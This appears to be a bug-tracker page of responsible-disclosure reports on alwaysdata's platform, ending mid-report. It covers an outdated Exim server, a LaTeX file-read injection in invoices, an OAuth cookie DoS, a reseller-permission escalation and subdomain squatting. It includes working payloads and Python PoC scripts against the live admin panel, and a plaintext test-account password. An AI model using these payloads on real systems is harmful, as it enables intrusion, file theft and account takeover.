|
356 | Outdated Exim SMTP Server (Version 4.96) Potentially A ... | Closed | 02.07.2026 |
Task Description
Dear Alwaysdata Security Team, I hope you are doing well. I am writing to responsibly disclose a security observation identified during an assessment of your publicly accessible SMTP infrastructure. Summary During testing, multiple public-facing SMTP servers were identified exposing an Exim 4.96 SMTP banner. Based on the detected version and publicly available Exim security advisories, the affected systems may be impacted by multiple known vulnerabilities ranging from Remote Code Execution (RCE) and Privilege Escalation to Information Disclosure, SMTP Smuggling, and Denial of Service (DoS). Affected Assets IP Address Hostname Service 185.31.40.80 smtpin1.paris1.alwaysdata.com SMTP (Exim 4.96) 78.142.219.80 smtpin1.paris2.alwaysdata.com SMTP (Exim 4.96) 78.142.219.5 overlord-core.paris2.alwaysdata.com TLS Service Evidence Asset 1 IP Address: 185.31.40.80 Hostname: smtpin1.paris1.alwaysdata.com SMTP Banner 220 smtpin1.paris1.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME Asset 2 IP Address: 78.142.219.80 Hostname: smtpin1.paris2.alwaysdata.com SMTP Banner 220 smtpin1.paris2.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME
Asset 3 IP Address: 78.142.219.5 Hostname: overlord-core.paris2.alwaysdata.com Supported TLS Versions • TLS 1.2 • TLS 1.3 Technical Description The SMTP servers publicly disclose Exim version 4.96 through the SMTP banner. According to publicly available Exim security advisories, this version predates several security fixes released during 2023–2026. Depending on the exact build, enabled modules, and runtime configuration, the deployment may be affected by multiple security vulnerabilities. These issues include unsafe memory handling, improper input validation, authentication-related flaws, MIME parsing issues, SMTP protocol parsing weaknesses, JSON parsing bugs, UTF-8 processing vulnerabilities, and DNS handling issues. Collectively, these weaknesses increase the attack surface of the mail infrastructure and may allow attackers to compromise confidentiality, integrity, or availability under specific conditions. Potentially Applicable CVEs Critical Remote Code Execution • CVE-2023-42115 • CVE-2023-42116 • CVE-2023-42117 These vulnerabilities involve memory corruption and insufficient validation of SMTP data, potentially allowing unauthenticated remote attackers to execute arbitrary code under vulnerable configurations. Privilege Escalation • CVE-2025-30232 A use-after-free vulnerability that may allow local privilege escalation under affected deployments. Information Disclosure • CVE-2026-48840 • CVE-2026-40687 • CVE-2026-40686 • CVE-2023-42119 • CVE-2023-42114 These vulnerabilities may expose process memory, heap contents, or sensitive information through malformed protocol interactions. Memory Corruption • CVE-2026-40685 • CVE-2025-67896 These issues involve heap corruption or out-of-bounds memory operations that may lead to crashes or code execution depending on the deployment. SMTP Security Issues • CVE-2023-51766 (SMTP Smuggling) • CVE-2024-39929 (RFC2231 MIME Parsing) These vulnerabilities may enable email spoofing, bypass of SPF-related protections, or delivery of blocked attachments under specific mail flow configurations. Denial of Service • CVE-2026-40684 • CVE-2022-3620 • CVE-2022-3559 These vulnerabilities may allow attackers to trigger service crashes or otherwise reduce SMTP service availability. Security Impact If the affected version is confirmed and the vulnerable functionality is enabled, successful exploitation could potentially result in: • Remote Code Execution (RCE) • SMTP Server Compromise • Privilege Escalation • Information Disclosure • Heap or Stack Memory Corruption • SMTP Smuggling • Email Spoofing • SPF Protection Bypass • Delivery of Malicious Attachments • Denial of Service (DoS) The actual impact depends on the deployed Exim configuration and whether the relevant vulnerable components are enabled. Recommendation I recommend the following remediation steps:
Upgrade Exim to the latest supported stable release. Apply all vendor security patches. Verify that the SMTP servers are no longer exposing outdated Exim versions. Review enabled authentication mechanisms and optional Exim modules. Validate that all publicly disclosed Exim vulnerabilities affecting the deployed version have been remediated. Perform a post-upgrade security verification to ensure the service is no longer affected. Conclusion The observed SMTP infrastructure publicly identifies itself as running Exim 4.96, a version associated with multiple publicly disclosed security vulnerabilities. While additional validation is required to determine which vulnerabilities are exploitable in your specific environment, upgrading to the latest supported release is strongly recommended to reduce the attack surface and maintain a secure mail infrastructure. This report is submitted in the spirit of responsible disclosure. I would be happy to provide any additional information if required. Kind regards, Cyber_Subhash Security Researcher
|
|
355 | LaTeX Injection via Billing Invoice Annotation | Closed | 06.07.2026 |
Task Description
Vulnerability Title: LaTeX Injection via Billing Invoice Annotation Allows Server-Side Arbitrary File Read
Severity: Critical (CVSS 9.1)
Affected Endpoint: POST https://admin.alwaysdata.com/billing/annotate/
Summary
The billing annotation feature allows authenticated users to add text notes to their invoice transactions. This annotation is rendered into a PDF invoice using xelatex without any input sanitization or LaTeX command escaping. An attacker is able to inject LaTeX commands (such as \input{/path/to/file}) into the annotation field, causing the server to read arbitrary files accessible to the www-data user and embed their contents into the generated PDF.
Steps to Reproduce
1. Log into https://admin.alwaysdata.com with a valid account. 2. Navigate to Billing in the sidebar. 3. Ensure you have at least one transaction (add credit if needed to generate one). 4. Open the transaction and add an annotation with the following payload:
\input{/etc/hostname} 5. Save the annotation. 6. Download the invoice PDF for that transaction. 7. Open the PDF — the server's hostname (overlord-core) appears embedded in the invoice text, confirming server-side file read.
To read files containing special characters (underscores, hashes, dollar signs), use:
{\catcode`\_=12\catcode`\^=12\catcode`\#=12\catcode`\$=12\catcode`\%=12\input{/etc/passwd}}
This disables LaTeX's special character handling and includes the raw file content in the PDF.
Confirmed file reads: - /etc/hostname → overlord-core - /etc/machine-id → c23a410ea94a4695a56726c80307ad0e - /etc/debian_version → 12.14 - /etc/passwd → all 42 lines of system accounts
And many more
Impact
- Arbitrary file read on the central management server (overlord-core) as www-data. - Attacker can read Django application source code, configuration files, and potentially credentials stored under /data/www/production/. - Any authenticated user (including free-tier accounts) can exploit this — no special privileges required. - The annotation field has a 255-character limit, but \input{/path} payloads are short enough to fit easily.
Root Cause
In the invoice PDF template (invoice_pdf.tex), the annotation is rendered with autoescape disabled and no LaTeX-specific escaping:
{% autoescape off %} transaction.annotations.first
The PDFAnnotationForm accepts any text in the annotation CharField with no validation or filtering of LaTeX commands. When _generate_pdf() is called, it runs xelatex -halt-on-error on the template, executing any LaTeX commands present in the annotation.
Remediation
1. Sanitize annotation input — strip or escape LaTeX special characters and commands (\, {, }, $, #, ^, _, %, ~) before saving the annotation. A whitelist approach (allow only alphanumeric + basic punctuation) is safest. 2. Use a LaTeX escape filter in the template — replace transaction.annotations.first with a custom |latex_escape template filter that escapes all LaTeX control characters. 3. Sandbox xelatex — run PDF generation with –no-shell-escape and disable \input/\include/\read/\openin commands via a restricted TeX configuration or by using –shell-restricted mode. 4. Run xelatex in a container with no access to sensitive files — mount only the template directory, not the entire filesystem.
Video Proof of concept is attached
|
|
350 | OAuth State Cookie Unbounded Growth (Authentication DoS ... | Closed | 02.07.2026 |
Task Description
# OAuth State Cookie Unbounded Growth (Authentication DoS)
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | OAuth State Cookie Unbounded Growth Leading to Authentication DoS |
| Severity | Low |
| CVSS Score | 4.3 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L |
| CWE | CWE-400 - Uncontrolled Resource Consumption |
| Endpoint | `GET /oauth/google/login/?next=/` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
When a user initiates Google OAuth login on the alwaysdata admin panel, the server generates an OAuth `state` parameter (a random nonce that protects against CSRF in the OAuth flow) and stores it in a browser cookie (`google_state`).
The vulnerability: Instead of replacing the previous state cookie when a new OAuth flow is started, the server wraps the existing cookie value in a new JSON layer, causing unbounded growth:
``` First click: {"state": "ABC123", "next": "/"} Second click: {"state": "XYZ789", "next": "/", "previous": {"state": "ABC123", "next": "/"}} Third click: {"state": "DEF456", "next": "/", "previous": {"state": "XYZ789", …, "previous": {…}}} ```
Each initiation adds ~600 bytes to the cookie. After ~8 initiations, the cookie exceeds the 4 KB browser limit. The browser silently drops the oversized cookie. Subsequent OAuth login attempts fail silently — the state parameter can't be verified, so the flow is aborted.
—
## 2. Steps to Reproduce
### Step 1: Initiate OAuth Login ```http GET /oauth/google/login/?next=/ HTTP/2 Host: admin.alwaysdata.com ```
Response: ```http HTTP/2 302 Found Location: https://accounts.google.com/… Set-Cookie: google_state={"state":"ABC123","next":"/"} ```
### Step 2: Repeatedly Initiate OAuth (8+ times) Each reload adds a nested `previous` layer to the cookie.
### Step 3: Observe Cookie Growth
| Iteration | Cookie Size | Status |
| ———– | ————- | ——– |
| 1 | 216 bytes | Normal |
| 2 | 422 bytes | Growing |
| 3 | 694 bytes | Growing |
| 4 | 1,058 bytes | Growing |
| 5 | 1,542 bytes | Growing |
| 6 | 2,184 bytes | Growing |
| 7 | 3,046 bytes | Growing |
| 8 | 4,194 bytes | ❌ OVER 4KB |
| 9 | 5,720 bytes | ❌ OVER 4KB |
### Step 4: Attempt OAuth Login After the cookie exceeds 4KB, the browser drops it. The OAuth callback fails because the `state` parameter cannot be verified.
—
## 3. Proof of Concept
### Python PoC
```python import requests
s = requests.Session()
for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/google/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("google_state", "")
size = len(state_cookie)
print(f"Iteration {i+1}: cookie={size} bytes")
if size > 4096:
print(f" >>> OVER 4KB LIMIT <<<")
```
### PoC Output
``` Iteration 1: cookie=216 bytes Iteration 2: cookie=422 bytes Iteration 3: cookie=694 bytes Iteration 4: cookie=1058 bytes Iteration 5: cookie=1542 bytes Iteration 6: cookie=2184 bytes Iteration 7: cookie=3046 bytes Iteration 8: cookie=4194 bytes
>>> OVER 4KB LIMIT <<<
Iteration 9: cookie=5720 bytes
>>> OVER 4KB LIMIT <<<
```
### Apple OAuth Also Affected
```python # Apple OAuth shows same pattern (though stops growing at 3046 bytes) for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/apple/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("apple_state", "")
print(f"Apple iteration {i+1}: {len(state_cookie)} bytes")
```
—
## 4. Attack Scenario
### Victim Perspective
1. Victim visits an attacker-controlled page 2. Page contains 8+ hidden image tags loading the OAuth URL:
```html
<img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
<img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
<!-- repeated 8+ times -->
```
3. Each load inflates the `google_state` cookie 4. Cookie exceeds 4KB and is dropped by browser 5. Victim later tries to log in via Google OAuth → fails silently
### Result
The victim cannot authenticate via Google OAuth until they manually clear the `google_state` cookie.
—
## 5. Impact
| Impact | Description |
| ——– | ————- |
| Authentication DoS | Users cannot log in via Google/Apple OAuth |
| Silent Failure | No error message - OAuth flow just fails |
| Persistent | Cookie remains oversized until manually cleared |
| User Interaction Required | Victim must visit attacker-controlled page |
| Recovery | Manual cookie clearing required |
### CVSS Score Breakdown
``` CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L ```
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over network |
| Attack Complexity | Low (L) | Simple image tags |
| Privileges Required | None (N) | No authentication needed |
| User Interaction | Required (R) | Victim must visit page |
| Scope | Unchanged (U) | Affects victim's browser only |
| Confidentiality | None (N) | No data exposure |
| Integrity | None (N) | No data modification |
| Availability | Low (L) | OAuth login DoS only |
Score: 4.3 (Low)
—
## 6. Remediation Recommendations
### 1. Replace Instead of Nest
```python # VULNERABLE - nests existing state def initiate_oauth(request):
new_state = generate_random_token()
existing_state = request.COOKIES.get('google_state', '{}')
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/'),
"previous": json.loads(existing_state) # <-- Bug: unbounded nesting
})
response.set_cookie('google_state', new_cookie_value)
return response
# SECURE - replaces state def initiate_oauth(request):
new_state = generate_random_token()
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/')
})
response.set_cookie('google_state', new_cookie_value, max_age=600)
return response
```
### 2. Set Short Cookie TTL
```python response.set_cookie('google_state', new_cookie_value, max_age=600) # 10 minutes ```
### 3. Use Stateless State Token
```python # Use signed JWT instead of stored state state_token = jwt.encode({
'state': new_state,
'next': next_url,
'exp': time.time() + 600
}, SECRET_KEY, algorithm='HS256') response.set_cookie('google_state', state_token, max_age=600) ```
### 4. Limit Cookie Size
```python # Monitor cookie size and reject if too large if len(existing_state) > 2000:
existing_state = "{}" # Reset if too large
```
—
## 7. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Cookie grows with each OAuth initiation | ✅ |
| Cookie exceeds 4KB after ~8 iterations | ✅ |
| Google OAuth affected | ✅ |
| Apple OAuth affected | ✅ |
| Cookie contains nested JSON | ✅ |
### Test Data
| Iteration | google_state Size | Status |
| ———– | ——————- | ——– |
| 1 | 216 bytes | ✅ |
| 2 | 422 bytes | ✅ |
| 3 | 694 bytes | ✅ |
| 4 | 1,058 bytes | ✅ |
| 5 | 1,542 bytes | ✅ |
| 6 | 2,184 bytes | ✅ |
| 7 | 3,046 bytes | ✅ |
| 8 | 4,194 bytes | ❌ OVER LIMIT |
| 9 | 5,720 bytes | ❌ |
—
## 8. References
- CWE-400: https://cwe.mitre.org/data/definitions/400.html - OWASP Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service - Browser Cookie Limits: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
—
## 9. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 10. Conclusion
Finding is CONFIRMED.
The `google_state` cookie grows unbounded with each OAuth initiation, exceeding the 4KB browser limit after approximately 8 iterations. This enables a Denial of Service attack against Google and Apple OAuth login functionality.
An attacker can trigger this by loading the OAuth initiation URL 8+ times in a victim's browser (via hidden image tags), causing the cookie to be dropped and OAuth login to fail silently.
Severity: Low (CVSS 4.3) - Authentication convenience DoS only. No account access or data exposure.
—
|
|
349 | Reseller-Level Permission Flags Accessible to Regular C ... | Closed | 25.06.2026 |
Task Description
# Finding: Reseller-Level Permission Flags Accessible to Regular Customer Accounts
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | Reseller-Level Permission Flags Accessible to Regular Customer Accounts |
| Severity | High |
| CVSS Score | 8.0 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-269 - Improper Privilege Management |
| Endpoint | `POST https://admin.alwaysdata.com/permissions/add/` |
| Affected Fields | `customer_full_accounts`, `customer_full_servers` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
alwaysdata's permission system allows account owners to delegate access to other users. The permissions creation form at `/permissions/add/` exposes reseller-level flags to all customers, including regular (non-reseller) accounts.
Reseller flags identified: - `customer_full_accounts` - grants access to manage all customer accounts on the platform - `customer_full_servers` - grants access to manage all server configurations on the platform
The vulnerability: The server accepts these flags from any account, regardless of whether the submitting account has reseller privileges. A regular customer can create a permission record with these flags active (HTTP 302), and the flags are saved as "checked" (active) in the permission details.
—
## 2. Test Environment
| Item | Value |
| —— | ——- |
| Test Account | cyberzod (ID 482835) |
| Account Type | Regular Customer (NOT reseller) |
| Testing Method | Manual HTTP requests via Python |
—
## 3. Steps to Reproduce
### Step 1: Verify Account is Regular Customer
# Check account type in profile
GET https://admin.alwaysdata.com/profile/
Result: Account confirmed as regular customer (no reseller privileges).
### Step 2: Access Permissions Add Page
GET https://admin.alwaysdata.com/permissions/add/
Result: Page loads with permission checkboxes.
### Step 3: Locate Reseller Flags
The page contains reseller-level checkboxes: - `customer_full_accounts` - `customer_full_servers`
### Step 4: Submit Reseller Flags
Request:
POST /permissions/add/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...
csrfmiddlewaretoken=...&
customer_full_accounts=on&
customer_full_servers=on&
email=test_1782361132@example.com
Response:
HTTP/2 302 Found
Location: /permissions/
Set-Cookie: messages=...Successfully created...
### Step 5: Verify Permission Created
GET https://admin.alwaysdata.com/permissions/469280/
Response:
Permission 469280 details:
- customer_full_accounts: checked (active)
- customer_full_servers: checked (active)
- Grantee: test_1782361132@example.com
—
## 4. Proof of Concept
### Python PoC Script
import requests
import re
import time
EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"
s = requests.Session()
s.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
# Login
login_page = s.get("https://admin.alwaysdata.com/login/")
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
s.post(
"https://admin.alwaysdata.com/login/",
data={
"csrfmiddlewaretoken": csrf_login,
"login": EMAIL,
"password": PASSWORD,
"alive": "on"
}
)
# Get permissions page
add_page = s.get("https://admin.alwaysdata.com/permissions/add/")
csrf = add_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
# Create permission with reseller flags
test_email = f"test_{int(time.time())}@example.com"
r = s.post(
"https://admin.alwaysdata.com/permissions/add/",
data={
"csrfmiddlewaretoken": csrf,
"customer_full_accounts": "on",
"customer_full_servers": "on",
"email": test_email,
},
allow_redirects=False
)
print(f"Status: {r.status_code}") # 302
# Verify permission was created
permissions_page = s.get("https://admin.alwaysdata.com/permissions/")
perm_ids = re.findall(r'/permissions?/(\d+)/', permissions_page.text)
perm_id = max(perm_ids, key=lambda x: int(x))
detail_page = s.get(f"https://admin.alwaysdata.com/permissions/{perm_id}/")
has_cfa = 'customer_full_accounts' in detail_page.text and 'checked' in detail_page.text
has_cfs = 'customer_full_servers' in detail_page.text and 'checked' in detail_page.text
print(f"customer_full_accounts active: {has_cfa}") # True
print(f"customer_full_servers active: {has_cfs}") # True
### PoC Output
Status: 302
customer_full_accounts active: True
customer_full_servers active: True
—
## 5. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Account is regular customer (not reseller) | ✅ Confirmed |
| Reseller flags exist on permissions page | ✅ Confirmed |
| Regular account can submit reseller flags | ✅ Confirmed |
| Server accepts submission (HTTP 302) | ✅ Confirmed |
| Permission record created with reseller flags | ✅ Confirmed |
| Flags saved as "checked" (active) | ✅ Confirmed |
| Permission ID: 469280 | ✅ Confirmed |
—
## 6. Impact
### Immediate Impact
| Impact | Description |
| ——– | ————- |
| Privilege Escalation | Regular customers can grant themselves or others reseller access |
| Cross-Account Access | Reseller permissions grant access to ALL customer accounts |
| Server Control | Reseller permissions grant access to ALL server configurations |
| Data Exposure | Reseller permissions grant access to ALL customer data |
### Attack Chain
1. Regular customer (cyberzod) creates permission with reseller flags
└─ customer_full_accounts=on, customer_full_servers=on
└─ email=attacker@example.com
2. Attacker (attacker@example.com) accepts the permission
3. Attacker gains reseller-level privileges
└─ Can access ALL customer accounts
└─ Can access ALL server configurations
└─ Can view/modify ALL customer data
### Business Impact
- Reputation Damage: Platform trust compromised - Data Breach: All customer data potentially exposed - Regulatory: GDPR/CCPA violations possible - Financial: Customer churn, legal liability
—
## 7. CVSS Score Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over the network |
| Attack Complexity | Low (L) | Simple HTTP request |
| Privileges Required | Low (L) | Requires authenticated account |
| User Interaction | None (N) | No user interaction needed |
| Scope | Changed (C) | Affects other customers' resources |
| Confidentiality | High (H) | Can access all customer data |
| Integrity | High (H) | Can modify all customer data |
| Availability | None (N) | No availability impact |
Score: 8.0 (High)
—
## 8. Remediation Recommendations
### 1. Server-Side Role Validation
def create_permission(request):
# Validate that only resellers can set reseller flags
if not request.user.is_reseller:
if request.POST.get('customer_full_accounts') or request.POST.get('customer_full_servers'):
raise PermissionDenied("Reseller-level permissions require a reseller account")
# Continue with permission creation
...
### 2. Hide Reseller Flags from Regular Users
{% if user.is_reseller %}
<input type="checkbox" name="customer_full_accounts">
<input type="checkbox" name="customer_full_servers">
{% endif %}
### 3. Implement Proper RBAC
Customer Roles: ├── Regular User │ ├── account_full │ ├── site_full │ └── database_full ├── Reseller │ ├── customer_full_accounts │ ├── customer_full_servers │ └── ALL regular permissions └── Admin
├── ALL reseller permissions
└── Platform-wide privileges
### 4. Audit Existing Permissions
- Review all permissions with `customer_full_accounts` or `customer_full_servers` - Verify they were created by legitimate resellers - Remove any created by regular customers
—
## 9. Proof of Concept Screenshots
### Screenshot 1: Regular Account (No Reseller Privileges)
Account: cyberzod Account Type: Regular Customer Reseller Status: False
### Screenshot 2: Reseller Flags Found
📝 All checkbox fields:
customer_full_accounts
customer_full_servers
account_full
site_full
database_full
[…]
### Screenshot 3: Submission Accepted (302)
Response Status: 302 Location: /permissions/ Message: Successfully created.
### Screenshot 4: Permission Created with Active Flags
Permission ID: 469280 customer_full_accounts: ✅ checked (active) customer_full_servers: ✅ checked (active) Grantee: test_1782361132@example.com
—
## 10. Affected Accounts
| Account Type | Affected | Explanation |
| ————– | ———- | ————- |
| Regular Customer | ✅ Yes | Can create reseller permissions |
| Reseller | ✅ Yes | Already have these permissions (expected) |
| Platform Admin | ❌ No | Not customer accounts |
All regular customer accounts on the platform are affected.
—
## 11. References
- CWE-269: https://cwe.mitre.org/data/definitions/269.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - OWASP Privilege Escalation: https://owasp.org/www-community/attacks/Privilege_escalation
—
## 12. Cleanup Confirmation
| Action | Status |
| ——– | ——– |
| Test permission created | ✅ |
| Permission verified | ✅ |
| Test permission deleted | ✅ |
| Account in clean state | ✅ |
# Permission deleted
DELETE /permissions/469280/delete/
Response: 302 Found
—
## 13. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 14. Conclusion
Finding is CONFIRMED.
A regular (non-reseller) customer account can: 1. ✅ See reseller-level permission flags in the UI 2. ✅ Submit reseller flags and receive HTTP 302 3. ✅ Create permission records with reseller flags active 4. ✅ Grant reseller-level access to any email address
This vulnerability enables privilege escalation from a regular customer account to platform-wide reseller access, potentially affecting all customers and server configurations on the platform.
—
|
|
348 | Subdomain Squatting on alwaysdata.net Platform Namespac ... | Closed | 25.06.2026 |
Task Description
# Bug Bounty Submission Report
## Subdomain Squatting on alwaysdata.net Platform Namespace
—
### Vulnerability Summary
| Field | Value |
| ——- | ——- |
| Title | Subdomain Squatting on alwaysdata.net Platform Namespace |
| Severity | High |
| CVSS Score | 9.0 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-284 - Improper Access Control |
| Endpoint | `POST https://admin.alwaysdata.com/domain/add/1/` → field: `hostnames` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
### Description
The domain registration form at `/domain/add/1/` allows any authenticated customer to register any `*.alwaysdata.net` subdomain - including names reserved for platform infrastructure. The form only validates that the submitted string is a well-formed hostname. It does NOT check:
- If the subdomain is reserved for platform use - If the subdomain already belongs to another customer - If the subdomain matches the account's assigned namespace - If the subdomain is already registered elsewhere
Confirmed registered subdomains (all returned HTTP 302): - `admin.alwaysdata.net` ✅ - `api.alwaysdata.net` ✅ (DNS auto-provisioned to `185.31.40.30`) - `mail.alwaysdata.net` ✅ - `cpanel.alwaysdata.net` ✅ - `webmail.alwaysdata.net` ✅ - `status.alwaysdata.net` ✅ - `billing.alwaysdata.net` ✅ - `security.alwaysdata.net` ✅
—
### Proof of Concept
#### Step 1: Register Reserved Subdomain
Request:
POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...
csrfmiddlewaretoken=6ooKK5Qc9ff4vq3zDebP...&hostnames=api.alwaysdata.net
Response:
HTTP/2 302 Found
Location: /domain/
✅ CONFIRMED: The reserved domain `api.alwaysdata.net` was accepted.
—
#### Step 2: All 8 Reserved Domains Accepted
| Hostname | Response | Status |
| ———- | ———- | ——– |
| admin.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| api.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| mail.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| cpanel.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| webmail.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| status.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| billing.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| security.alwaysdata.net | 302 Found | ✅ ACCEPTED |
—
#### Step 3: DNS Records Auto-Provisioned
DNS Lookup Results:
$ nslookup api.alwaysdata.net
Non-authoritative answer:
Name: api.alwaysdata.net
Address: 185.31.40.30
Name: api.alwaysdata.net
Address: 2a00:b6e0:1:20:21::1
✅ CONFIRMED: DNS records were automatically created, pointing `api.alwaysdata.net` to alwaysdata's infrastructure.
—
#### Step 4: Multi-Hostname Injection
Request:
POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
hostnames=evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net
Response:
HTTP/2 302 Found
Location: /domain/
✅ CONFIRMED: Multiple hostnames can be registered in a single submission.
—
### Proof of Concept Code
import requests
import re
import time
EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"
s = requests.Session()
s.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
print("="*70)
print("FINDING 08: SUBDOMAIN SQUATTING ON alwaysdata.net")
print("="*70)
print("\n[1] 🔐 Logging in...")
login_page = s.get("https://admin.alwaysdata.com/login/", timeout=15)
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
s.post(
"https://admin.alwaysdata.com/login/",
data={
"csrfmiddlewaretoken": csrf_login,
"login": EMAIL,
"password": PASSWORD,
"alive": "on"
},
headers={"Referer": "https://admin.alwaysdata.com/login/"},
allow_redirects=True,
timeout=15
)
print("✅ Logged in")
print("\n[2] 📋 Getting domain add page...")
domain_page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
if domain_page.status_code != 200:
print(f"❌ Failed: {domain_page.status_code}")
exit()
print(f"Status: {domain_page.status_code}")
if 'name="hostnames"' in domain_page.text:
print("✅ Found: hostnames field")
else:
print("❌ hostnames field not found")
exit()
csrf = domain_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
print(f"CSRF: {csrf[:20]}...")
print("\n[3] 📝 Registering reserved platform subdomains...")
reserved_names = [
"admin.alwaysdata.net",
"api.alwaysdata.net",
"mail.alwaysdata.net",
"cpanel.alwaysdata.net",
"webmail.alwaysdata.net",
"status.alwaysdata.net",
"billing.alwaysdata.net",
"security.alwaysdata.net",
]
registered = []
rejected = []
for hostname in reserved_names:
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
r = s.post(
"https://admin.alwaysdata.com/domain/add/1/",
data={
"csrfmiddlewaretoken": csrf,
"hostnames": hostname,
},
headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
allow_redirects=False,
timeout=15
)
if r.status_code == 302:
registered.append(hostname)
print(f" ✅ REGISTERED {hostname}")
else:
rejected.append(hostname)
print(f" ❌ REJECTED ({r.status_code}) {hostname}")
time.sleep(0.5)
print(f"\n📊 Summary:")
print(f" Registered: {len(registered)} of {len(reserved_names)}")
print(f" Rejected: {len(rejected)} of {len(reserved_names)}")
if registered:
print(f"\n✅ Subdomain squatting confirmed!")
print(f" Reserved names accepted:")
for name in registered:
print(f" - {name}")
print("\n[4] 📝 Testing multi-hostname injection...")
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
multi_payload = """evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net"""
r_multi = s.post(
"https://admin.alwaysdata.com/domain/add/1/",
data={
"csrfmiddlewaretoken": csrf,
"hostnames": multi_payload,
},
headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
allow_redirects=False,
timeout=15
)
if r_multi.status_code == 302:
print(f" ✅ Multi-hostname ACCEPTED (302)")
else:
print(f" ❌ Multi-hostname rejected: {r_multi.status_code}")
print("\n[5] 🧹 Cleaning up...")
all_to_delete = registered + ["evil-test.alwaysdata.net", "vulnerable-test.alwaysdata.net", "poc-test-123.alwaysdata.net"]
for hostname in all_to_delete:
try:
domains_page = s.get("https://admin.alwaysdata.com/domain/", timeout=10)
domain_id = None
for did in re.findall(r'href="/domain/(\d+)/"', domains_page.text):
detail_page = s.get(f"https://admin.alwaysdata.com/domain/{did}/", timeout=10)
if hostname in detail_page.text:
domain_id = did
break
if domain_id:
del_page = s.get(f"https://admin.alwaysdata.com/domain/{domain_id}/delete/", timeout=10)
csrf_del = del_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
r_del = s.post(
f"https://admin.alwaysdata.com/domain/{domain_id}/delete/",
data={"csrfmiddlewaretoken": csrf_del, "confirm": "1"},
headers={"Referer": f"https://admin.alwaysdata.com/domain/{domain_id}/delete/"},
allow_redirects=False,
timeout=15
)
if r_del.status_code == 302:
print(f" ✅ Deleted {hostname} (ID {domain_id})")
else:
print(f" ⚠️ Delete {hostname}: {r_del.status_code}")
else:
print(f" ⚠️ Could not find ID for {hostname}")
except Exception as e:
print(f" ❌ Error deleting {hostname}: {e}")
time.sleep(0.3)
print("\n" + "="*70)
print("🔬 FINDING 08 VALIDATION COMPLETE")
print("="*70)
—
### Impact
| Risk | Description |
